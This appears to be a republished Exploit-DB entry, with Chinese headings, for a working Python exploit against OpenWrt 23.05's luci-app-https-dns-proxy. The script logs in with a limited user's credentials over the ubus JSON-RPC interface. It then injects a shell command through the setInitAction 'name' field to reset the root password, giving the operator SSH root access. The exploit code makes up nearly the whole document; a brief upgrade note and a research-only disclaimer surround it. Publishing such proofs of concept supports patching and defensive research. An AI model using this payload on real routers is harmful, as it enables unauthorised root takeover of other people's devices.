[local] OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)

📋 漏洞基础信息

⚔️ 原始 PoC

# Exploit Author: Ahmet Mersin
"""
OpenWrt luci-app-https-dns-proxy Root Takeover Exploit
CVE-202X-XXXXX - Local Privilege Escalation via Command Injection
import requests
import sys
import getpass
def banner():
print("""
╔═══════════════════════════════════════════════════════════════╗
║ OpenWrt https-dns-proxy Root Takeover Exploit ║
║ CVE-202X-XXXXX |
Privilege Escalation via Command Injection ║
║ ║
║ Developed by: ahmetmersin.com ║
╚═══════════════════════════════════════════════════════════════╝
""")
def get_user_input():
print("[*] Target Router Information:")
target_ip = input(" Router IP [192.168.1.1]: ").strip() or "192.168.1.1"
print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):")
username = input(" Username: ").strip()
if not username:
print("[-] Username cannot be empty!")
sys.exit(1)
password = getpass.getpass(" Password: ")
if not password:
print("[-] Password cannot be empty!")
sys.exit(1)
print("\n[*] New Root Password:")
new_root_pass = getpass.getpass(" Enter new root password: ")
if not new_root_pass:
print("[-] Password cannot be empty!")
sys.exit(1)
confirm_pass = getpass.getpass(" Confirm new root password: ")
if new_root_pass != confirm_pass:
print("\n[-] Passwords do not match!")
sys.exit(1)
return target_ip,
username,password,new_root_pass
def login(target_ip,username,password):
print(f"\n[*] Authenticating as '{username}'...")
endpoint = f"http://{target_ip}/ubus"
payload = {"jsonrpc": "2.0","id": 1,"method": "call","params": [
"00000000000000000000000000000000","session","login",{"username": username,"password": password}]
}try:
r = requests.post(endpoint,json=payload,
timeout=10)
response = r.json()
if "result" in response and response["result"] and len(response["result"]) >1:
result = response["result"][1]
if "ubus_rpc_session" in result:
token = result["ubus_rpc_session"]
print(f"[+] Login successful! Session token: {token[:16]}...")
# Check if user has the vulnerable permission
acls = result.get("acls",{}).get("ubus",
{})
if "luci.https-dns-proxy" in acls:
if "setInitAction" in acls["luci.https-dns-proxy"]:
print(f"[+] User has access to vulnerable function!")
return token,endpoint
print("[-] User does not have 'setInitAction' permission!")
return None,None
print(f"[-] Login failed: {response}")
return None,
None
except requests.exceptions.ConnectionError:
print(f"[-] Connection error: Cannot reach {target_ip}")
return None,None
except Exception as e:
print(f"[-] Error: {e}")
return None,None
def change_root_password(endpoint,session_id,new_password):
print(f"\n[*] Changing root password...")
# Payload: Use passwd with printf to change root password
malicious_name = f"x;
printf '{new_password}\\n{new_password}\\n' |passwd root;echo done >"
payload = {"jsonrpc": "2.0","id": 666,"method": "call","params": [
session_id,"luci.https-dns-proxy","setInitAction",{"name": malicious_name,"action": "start"}]
}try:
r = requests.post(endpoint,json=payload,
timeout=10)
response = r.json()
print(f"[*] Response: {response}")
# Check if result is True (command executed successfully)
if "result" in response and len(response["result"]) >1:
result_data = response["result"][1]
if isinstance(result_data,
dict) and result_data.get("result") == True:
print(f"\n" + "="*60)
print(f"[+] EXPLOIT SUCCESSFUL!")
print(f"="*60)
ip = endpoint.split('//')[1].split('/')[0]
print(f"\n[*] You can now login with the new root password:")
print(f" ssh root@{ip}")
print(f" Password: <your new password>")
return True
else:
print(f"\n" + "="*60)
print(f"[-] EXPLOIT FAILED - Command was blocked!")
print(f"="*60)
print(f"\n[!] The target may have been patched.")
return False
else:
print(f"[-] Unexpected response format")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def main():
banner()
print("[!] WARNING: This tool is for authorized security testing only!")
print("[!] Unauthorized access to computer systems is illegal.\n")
confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower()
if confirm != 'y':
print("Aborted.")
sys.exit(0)
target_ip,
username,password,new_root_pass = get_user_input()
session_id,endpoint = login(target_ip,username,password)
if session_id:
success = change_root_password(endpoint,session_id,new_root_pass)
if success:
print("\n[+] Exploit completed! Test SSH access with the new password.")
else:
print("\n[-] Authentication failed. Exploit aborted.")
sys.exit(1)
if __name__ == "__main__":
main()

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 05:55 | 来源: Exploit-DB